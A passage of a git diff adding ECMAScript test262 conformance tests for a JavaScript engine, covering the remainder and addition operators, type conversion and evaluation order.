+ $ERROR('#13: Number.MIN_VALUE % 0 === Not-a-Number. Actual: ' + (Number.MIN_VALUE % 0));
+}
+
+//CHECK#14
+if (isNaN(Number.MIN_VALUE % -0) !== true) {
+ $ERROR('#14: -Number.MIN_VALUE % -0 === Not-a-Number. Actual: ' + (-Number.MIN_VALUE % -0));
+}
+
+//CHECK#15
+if (isNaN(Number.MAX_VALUE % 0) !== true) {
+ $ERROR('#15: Number.MAX_VALUE % 0 === Not-a-Number. Actual: ' + (Number.MAX_VALUE % 0));
+}
+
+//CHECK#16
+if (isNaN(Number.MAX_VALUE % -0) !== true) {
+ $ERROR('#16: Number.MAX_VALUE % -0 === Not-a-Number. Actual: ' + (Number.MAX_VALUE % -0));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T5.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T5.js
new file mode 100644
index 000000000..46f9e75da
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T5.js
@@ -0,0 +1,104 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T5.js
+ * @description If dividend is finite and the divisor is an infinity, the result equals the dividend
+ */
+
+//CHECK#1
+if (1 % Number.NEGATIVE_INFINITY !== 1) {
+ $ERROR('#1: 1 % -Infinity === 1. Actual: ' + (1 % -Infinity));
+}
+//CHECK#2
+if (1 % Number.POSITIVE_INFINITY !==1) {
+ $ERROR('#2: 1 % Infinity === 1. Actual: ' + (1 % Infinity));
+}
+
+//CHECK#3
+if (-1 % Number.POSITIVE_INFINITY !== -1) {
+ $ERROR('#3: -1 % Infinity === -1. Actual: ' + (-1 % Infinity));
+}
+
+//CHECK#4
+if (-1 % Number.NEGATIVE_INFINITY !== -1) {
+ $ERROR('#4: -1 % -Infinity === -1. Actual: ' + (-1 % -Infinity));
+}
+
+//CHECK#5
+if (0 % Number.POSITIVE_INFINITY !== 0) {
+ $ERROR('#5.1: 0 % Infinity === 0. Actual: ' + (0 % Infinity));
+} else {
+ if (1 / (0 % Number.POSITIVE_INFINITY) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: 0 % Infinity === + 0. Actual: -0');
+ }
+}
+
+//CHECK#6
+if (0 % Number.NEGATIVE_INFINITY !== 0) {
+ $ERROR('#6.1: 0 % -Infinity === 0. Actual: ' + (0 % -Infinity));
+} else {
+ if (1 / (0 % Number.NEGATIVE_INFINITY) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#6.2: 0 % -Infinity === + 0. Actual: -0');
+ }
+}
+
+//CHECK#7
+if (-0 % Number.POSITIVE_INFINITY !== -0) {
+ $ERROR('#7.1: -0 % Infinity === 0. Actual: ' + (-0 % Infinity));
+} else {
+ if (1 / (-0 % Number.POSITIVE_INFINITY) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#7.2: -0 % Infinity === - 0. Actual: +0');
+ }
+}
+
+//CHECK#8
+if (-0 % Number.NEGATIVE_INFINITY !== -0) {
+ $ERROR('#8.1: -0 % -Infinity === 0. Actual: ' + (-0 % -Infinity));
+} else {
+ if (1 / (-0 % Number.NEGATIVE_INFINITY) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#8.2: -0 % -Infinity === - 0. Actual: +0');
+ }
+}
+
+//CHECK#9
+if (Number.MAX_VALUE % Number.NEGATIVE_INFINITY !== Number.MAX_VALUE) {
+ $ERROR('#9: Number.MAX_VALUE % -Infinity === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE % -Infinity));
+}
+
+//CHECK#10
+if (Number.MAX_VALUE % Number.POSITIVE_INFINITY !== Number.MAX_VALUE) {
+ $ERROR('#10: Number.MAX_VALUE % Infinity === Number.MAX_VALUE. Actual: ' + (Number.MAX_VALUE % Infinity));
+}
+
+//CHECK#11
+if (-Number.MAX_VALUE % Number.POSITIVE_INFINITY !== -Number.MAX_VALUE) {
+ $ERROR('#11: -Number.MAX_VALUE % Infinity === -Number.MAX_VALUE. Actual: ' + (-Number.MAX_VALUE % Infinity));
+}
+
+//CHECK#12
+if (-Number.MAX_VALUE % Number.NEGATIVE_INFINITY !== -Number.MAX_VALUE) {
+ $ERROR('#12: -Number.MAX_VALUE % -Infinity === -Number.MAX_VALUE. Actual: ' + (-Number.MAX_VALUE % -Infinity));
+}
+
+//CHECK#13
+if (Number.MIN_VALUE % Number.NEGATIVE_INFINITY !== Number.MIN_VALUE) {
+ $ERROR('#13: Number.MIN_VALUE % -Infinity === Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE % -Infinity));
+}
+//CHECK#14
+if (Number.MIN_VALUE % Number.POSITIVE_INFINITY !== Number.MIN_VALUE) {
+ $ERROR('#14: Number.MIN_VALUE % Infinity === Number.MIN_VALUE. Actual: ' + (Number.MIN_VALUE % Infinity));
+}
+
+//CHECK#15
+if (-Number.MIN_VALUE % Number.POSITIVE_INFINITY !== -Number.MIN_VALUE) {
+ $ERROR('#15: -Number.MIN_VALUE % Infinity === -Number.MIN_VALUE. Actual: ' + (-Number.MIN_VALUE % Infinity));
+}
+
+//CHECK#16
+if (-Number.MIN_VALUE % Number.NEGATIVE_INFINITY !== -Number.MIN_VALUE) {
+ $ERROR('#16: -Number.MIN_VALUE % -Infinity === -Number.MIN_VALUE. Actual: ' + (-Number.MIN_VALUE % -Infinity));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T6.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T6.js
new file mode 100644
index 000000000..02373aec7
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T6.js
@@ -0,0 +1,82 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T6.js
+ * @description If dividend is a zero and the divisor is nonzero finite, the result equals the dividend
+ */
+
+//CHECK#1
+if (0 % 1 !== 0) {
+ $ERROR('#1.1: 0 % 1 === 0. Actual: ' + (0 % 1));
+} else {
+ if (1 / (0 % 1) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#1.2: 0 % 1 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#2
+if (0 % -1 !== 0) {
+ $ERROR('#2.1: 0 % -1 === 0. Actual: ' + (0 % -1));
+} else {
+ if (1 / (0 % -1) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: 0 % -1 === + 0. Actual: -0');
+ }
+}
+
+//CHECK#3
+if (-0 % 1 !== -0) {
+ $ERROR('#3.1: -0 % 1 === 0. Actual: ' + (-0 % 1));
+} else {
+ if (1 / (-0 % 1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#3.2: -0 % 1 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#4
+if (-0 % -1 !== -0) {
+ $ERROR('#4.1: -0 % -1 === 0. Actual: ' + (-0 % -1));
+} else {
+ if (1 / (-0 % -1) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#4.2: 0 % -1 === - 0. Actual: +0');
+ }
+}
+
+//CHECK#5
+if (0 % Number.MAX_VALUE !== 0) {
+ $ERROR('#5.1: 0 % Number.MAX_VALUE === 0. Actual: ' + (0 % Number.MAX_VALUE));
+} else {
+ if (1 / (0 % Number.MAX_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#5.2: 0 % Number.MAX_VALUE === + 0. Actual: -0');
+ }
+}
+
+//CHECK#6
+if (0 % Number.MIN_VALUE !== 0) {
+ $ERROR('#6.1: 0 % Number.MIN_VALUE === 0. Actual: ' + (0 % Number.MIN_VALUE));
+} else {
+ if (1 / (0 % Number.MIN_VALUE) !== Number.POSITIVE_INFINITY) {
+ $ERROR('#6.2: 0 % Number.MIN_VALUE === + 0. Actual: -0');
+ }
+}
+
+//CHECK#7
+if (-0 % Number.MAX_VALUE !== -0) {
+ $ERROR('#7.1: -0 % Number.MAX_VALUE === 0. Actual: ' + (-0 % Number.MAX_VALUE));
+} else {
+ if (1 / (-0 % Number.MAX_VALUE) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#7.2: -0 % Number.MAX_VALUE === - 0. Actual: +0');
+ }
+}
+
+//CHECK#8
+if (-0 % Number.MIN_VALUE !== -0) {
+ $ERROR('#8.1: -0 % Number.MIN_VALUE === 0. Actual: ' + (-0 % Number.MIN_VALUE));
+} else {
+ if (1 / (-0 % Number.MIN_VALUE) !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#8.2: 0 % Number.MIN_VALUE === - 0. Actual: +0');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T7.js b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T7.js
new file mode 100644
index 000000000..54356536e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/S11.5.3_A4_T7.js
@@ -0,0 +1,74 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The result of a ECMAScript floating-point remainder operation is determined by the rules of IEEE arithmetics
+ *
+ * @path ch11/11.5/11.5.3/S11.5.3_A4_T7.js
+ * @description If operands neither an infinity, nor a zero, nor NaN, return x - truncate(x / y) * y
+ */
+
+function truncate(x) {
+ if (x > 0) {
+ return Math.floor(x);
+ } else {
+ return Math.ceil(x);
+ }
+}
+
+//CHECK#1
+x = 1.3;
+y = 1.1;
+if (x % y !== 0.19999999999999996) {
+ $ERROR('#1: x = 1.3; y = 1.1; x % y === 0.19999999999999996. Actual: ' + (x % y));
+}
+
+//CHECK#2
+x = -1.3;
+y = 1.1;
+if (x % y !== -0.19999999999999996) {
+ $ERROR('#2: x = -1.3; y = 1.1; x % y === -0.19999999999999996. Actual: ' + (x % y));
+}
+
+//CHECK#3
+x = 1.3;
+y = -1.1;
+if (x % y !== 0.19999999999999996) {
+ $ERROR('#3: x = 1.3; y = -1.1; x % y === 0.19999999999999996. Actual: ' + (x % y));
+}
+
+//CHECK#4
+x = -1.3;
+y = -1.1;
+if (x % y !== -0.19999999999999996) {
+ $ERROR('#4: x = -1.3; y = -1.1; x % y === -0.19999999999999996. Actual: ' + (x % y));
+}
+
+//CHECK#5
+x = 1.3;
+y = 1.1;
+if (x % y !== x - truncate(x / y) * y) {
+ $ERROR('#5: x = 1.3; y = 1.1; x % y === x - truncate(x / y) * y. Actual: ' + (x % y));
+}
+
+//CHECK#6
+x = -1.3;
+y = 1.1;
+if (x % y !== x - truncate(x / y) * y) {
+ $ERROR('#6: x = -1.3; y = 1.1; x % y === x - truncate(x / y) * y. Actual: ' + (x % y));
+}
+
+//CHECK#7
+x = 1.3;
+y = -1.1;
+if (x % y !== x - truncate(x / y) * y) {
+ $ERROR('#7: x = 1.3; y = -1.1; x % y === x - truncate(x / y) * y. Actual: ' + (x % y));
+}
+
+//CHECK#8
+x = -1.3;
+y = -1.1;
+if (x % y !== x - truncate(x / y) * y) {
+ $ERROR('#8: x = -1.3; y = -1.1; x % y === x - truncate(x / y) * y. Actual: ' + (x % y));
+}
+
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/browser.js b/js/src/tests/test262/ch11/11.5/11.5.3/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/browser.js
diff --git a/js/src/tests/test262/ch11/11.5/11.5.3/shell.js b/js/src/tests/test262/ch11/11.5/11.5.3/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/11.5.3/shell.js
diff --git a/js/src/tests/test262/ch11/11.5/browser.js b/js/src/tests/test262/ch11/11.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/browser.js
diff --git a/js/src/tests/test262/ch11/11.5/shell.js b/js/src/tests/test262/ch11/11.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.5/shell.js
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A1.js
new file mode 100644
index 000000000..6e4793095
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between AdditiveExpression and "+" or between "+" and MultiplicativeExpression are allowed
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("1\u0009+\u00091") !== 2) {
+ $ERROR('#1: 1\\u0009+\\u00091 === 2');
+}
+
+//CHECK#2
+if (eval("1\u000B+\u000B1") !== 2) {
+ $ERROR('#2: 1\\u000B+\\u000B1 === 2');
+}
+
+//CHECK#3
+if (eval("1\u000C+\u000C1") !== 2) {
+ $ERROR('#3: 1\\u000C+\\u000C1 === 2');
+}
+
+//CHECK#4
+if (eval("1\u0020+\u00201") !== 2) {
+ $ERROR('#4: 1\\u0020+\\u00201 === 2');
+}
+
+//CHECK#5
+if (eval("1\u00A0+\u00A01") !== 2) {
+ $ERROR('#5: 1\\u00A0+\\u00A01 === 2');
+}
+
+//CHECK#6
+if (eval("1\u000A+\u000A1") !== 2) {
+ $ERROR('#6: 1\\u000A+\\u000A1 === 2');
+}
+
+//CHECK#7
+if (eval("1\u000D+\u000D1") !== 2) {
+ $ERROR('#7: 1\\u000D+\\u000D1 === 2');
+}
+
+//CHECK#8
+if (eval("1\u2028+\u20281") !== 2) {
+ $ERROR('#8: 1\\u2028+\\u20281 === 2');
+}
+
+//CHECK#9
+if (eval("1\u2029+\u20291") !== 2) {
+ $ERROR('#9: 1\\u2029+\\u20291 === 2');
+}
+
+//CHECK#10
+if (eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029+\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== 2) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029+\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === 2');
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T1.js
new file mode 100644
index 000000000..748f791fa
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T1.js
@@ -0,0 +1,43 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x + y uses GetValue
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (1 + 1 !== 2) {
+ $ERROR('#1: 1 + 1 === 2. Actual: ' + (1 + 1));
+}
+
+//CHECK#2
+var x = 1;
+if (x + 1 !== 2) {
+ $ERROR('#2: var x = 1; x + 1 === 2. Actual: ' + (x + 1));
+}
+
+//CHECK#3
+var y = 1;
+if (1 + y !== 2) {
+ $ERROR('#3: var y = 1; 1 + y === 2. Actual: ' + (1 + y));
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (x + y !== 2) {
+ $ERROR('#4: var x = 1; var y = 1; x + y === 2. Actual: ' + (x + y));
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (objectx.prop + objecty.prop !== 2) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop + objecty.prop === 2. Actual: ' + (objectx.prop + objecty.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T2.js
new file mode 100644
index 000000000..8a790be9f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x + y uses GetValue
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x + 1;
+ $ERROR('#1.1: x + 1 throw ReferenceError. Actual: ' + (x + 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x + 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T3.js
new file mode 100644
index 000000000..6609a5593
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x + y uses GetValue
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ 1 + y;
+ $ERROR('#1.1: 1 + y throw ReferenceError. Actual: ' + (1 + y));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: 1 + y throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T1.js
new file mode 100644
index 000000000..debdcd883
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T1.js
@@ -0,0 +1,71 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x + y uses [[Default Value]]
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+if ({valueOf: function() {return 1}} + 1 !== 2) {
+ $ERROR('#1: {valueOf: function() {return 1}} + 1 === 2. Actual: ' + ({valueOf: function() {return 1}} + 1));
+}
+
+//CHECK#2
+if ({valueOf: function() {return 1}, toString: function() {return 0}} + 1 !== 2) {
+ $ERROR('#2: {valueOf: function() {return 1}, toString: function() {return 0}} + 1 === 2. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return 0}} + 1));
+}
+
+//CHECK#3
+if ({valueOf: function() {return 1}, toString: function() {return {}}} + 1 !== 2) {
+ $ERROR('#3: {valueOf: function() {return 1}, toString: function() {return {}}} + 1 === 2. Actual: ' + ({valueOf: function() {return 1}, toString: function() {return {}}} + 1));
+}
+
+//CHECK#4
+try {
+ if ({valueOf: function() {return 1}, toString: function() {throw "error"}} + 1 !== 2) {
+ $ERROR('#4.1: {valueOf: function() {return 1}, toString: function() {throw "error"}} + 1 === 2. Actual: ' + ({valueOf: function() {return 1}, toString: function() {throw "error"}} + 1));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: {valueOf: function() {return 1}, toString: function() {throw "error"}} + 1 not throw "error"');
+ } else {
+ $ERROR('#4.3: {valueOf: function() {return 1}, toString: function() {throw "error"}} + 1 not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (1 + {toString: function() {return 1}} !== 2) {
+ $ERROR('#5: 1 + {toString: function() {return 1}} === 2. Actual: ' + (1 + {toString: function() {return 1}}));
+}
+
+//CHECK#6
+if (1 + {valueOf: function() {return {}}, toString: function() {return 1}} !== 2) {
+ $ERROR('#6: 1 + {valueOf: function() {return {}}, toString: function() {return 1}} === 2. Actual: ' + (1 + {valueOf: function() {return {}}, toString: function() {return 1}}));
+}
+
+//CHECK#7
+try {
+ 1 + {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ $ERROR('#7.1: 1 + {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (1 + {valueOf: function() {throw "error"}, toString: function() {return 1}}));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: 1 + {valueOf: function() {throw "error"}, toString: function() {return 1}} throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ 1 + {valueOf: function() {return {}}, toString: function() {return {}}};
+ $ERROR('#8.1: 1 + {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (1 + {valueOf: function() {return {}}, toString: function() {return {}}}));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: 1 + {valueOf: function() {return {}}, toString: function() {return {}}} throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T2.js
new file mode 100644
index 000000000..732c32cc8
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T2.js
@@ -0,0 +1,35 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x + y uses [[Default Value]]
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.2_T2.js
+ * @description If Type(value) is Date object, evaluate ToPrimitive(value, String)
+ */
+
+//CHECK#1
+var date = new Date();
+if (date + date !== date.toString() + date.toString()) {
+ $ERROR('#1: var date = new Date(); date + date === date.toString() + date.toString(). Actual: ' + (date + date));
+}
+
+//CHECK#2
+var date = new Date();
+if (date + 0 !== date.toString() + "0") {
+ $ERROR('#2: var date = new Date(); date + 0 === date.toString() + "0". Actual: ' + (date + 0));
+}
+
+//CHECK#3
+var date = new Date();
+if (date + true !== date.toString() + "true") {
+ $ERROR('#3: var date = new Date(); date + true === date.toString() + "true". Actual: ' + (date + true));
+}
+
+//CHECK#4
+var date = new Date();
+if (date + new Object() !== date.toString() + "[object Object]") {
+ $ERROR('#4: var date = new Date(); date + new Object() === date.toString() + "[object Object]". Actual: ' + (date + new Object()));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T3.js
new file mode 100644
index 000000000..965c53d4d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.2_T3.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x + y uses [[Default Value]]
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.2_T3.js
+ * @description If Type(value) is Function, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+function f1(){
+ return 0;
+}
+if (f1 + 1 !== f1.toString() + 1) {
+ $ERROR('#1: function f1() {return 0;}; f1 + 1 === f1.toString() + 1');
+}
+
+//CHECK#2
+function f2(){
+ return 0;
+}
+f2.valueOf = function() {return 1;};
+if (1 + f2 !== 1 + 1) {
+ $ERROR('#2: f1unction f2() {return 0;} f2.valueOf = function() {return 1;}; 1 + f2 === 1 + 1. Actual: ' + (1 + f2));
+}
+
+//CHECK#3
+function f3(){
+ return 0;
+}
+f3.toString = function() {return 1;};
+if (1 + f3 !== 1 + 1) {
+ $ERROR('#3: f1unction f3() {return 0;} f3.toString() = function() {return 1;}; 1 + f3 === 1 + 1. Actual: ' + (1 + f3));
+}
+
+//CHECK#4
+function f4(){
+ return 0;
+}
+f4.valueOf = function() {return -1;};
+f4.toString = function() {return 1;};
+if (f4 + 1 !== 1 - 1) {
+ $ERROR('#4: f1unction f4() {return 0;}; f2.valueOf = function() {return -1;}; f4.toString() = function() {return 1;}; f4 + 1 === 1 - 1. Actual: ' + (f4 + 1));
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.3_T1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.3_T1.js
new file mode 100644
index 000000000..07f11d4a1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.3_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * ToNumber(first expression) is called first, and then ToNumber(second expression)
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.3_T1.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = { valueOf: function () { throw "x"; } };
+var y = { valueOf: function () { throw "y"; } };
+try {
+ x + y;
+ $ERROR('#1.1: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x + y throw "x". Actual: ' + (x + y));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: ToNumber(first expression) is called first, and then ToNumber(second expression)');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = { valueOf: function () { throw "x"; } }; var y = { valueOf: function () { throw "y"; } }; x + y throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T1.js
new file mode 100644
index 000000000..ad6f74b40
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T1.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.4_T1.js
+ * @description Checking with "="
+ */
+
+//CHECK#1
+var x = 0;
+if ((x = 1) + x !== 2) {
+ $ERROR('#1: var x = 0; (x = 1) + x === 2. Actual: ' + ((x = 1) + x));
+}
+
+//CHECK#2
+var x = 0;
+if (x + (x = 1) !== 1) {
+ $ERROR('#2: var x = 0; x + (x = 1) === 1. Actual: ' + (x + (x = 1)));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T2.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T2.js
new file mode 100644
index 000000000..349041ed4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.4_T2.js
+ * @description Checking with "throw"
+ */
+
+//CHECK#1
+var x = function () { throw "x"; };
+var y = function () { throw "y"; };
+try {
+ x() + y();
+ $ERROR('#1.1: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() + y() throw "x". Actual: ' + (x() + y()));
+} catch (e) {
+ if (e === "y") {
+ $ERROR('#1.2: First expression is evaluated first, and then second expression');
+ } else {
+ if (e !== "x") {
+ $ERROR('#1.3: var x = function () { throw "x"; }; var y = function () { throw "y"; }; x() + y() throw "x". Actual: ' + (e));
+ }
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T3.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T3.js
new file mode 100644
index 000000000..60d89e506
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A2.4_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * First expression is evaluated first, and then second expression
+ *
+ * @path ch11/11.6/11.6.1/S11.6.1_A2.4_T3.js
+ * @description Checking with undeclarated variables
+ */
+
+//CHECK#1
+try {
+ x + (x = 1);
+ $ERROR('#1.1: x + (x = 1) throw ReferenceError. Actual: ' + (x + (x = 1)));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x + (x = 1) throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+//CHECK#2
+if ((y = 1) + y !== 2) {
+ $ERROR('#2: (y = 1) + y === 2. Actual: ' + ((y = 1) + y));
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.1.js b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.1.js
new file mode 100644
index 000000000..e0f9656dd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.6/11.6.1/S11.6.1_A3.1_T1.1.js
@@ -0,0 +1,30 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(Primitive(x)) is not String and Type(Primitive(y)) is not String, then operator x + y returns ToNumber(x) + ToNumber(y)
+ *
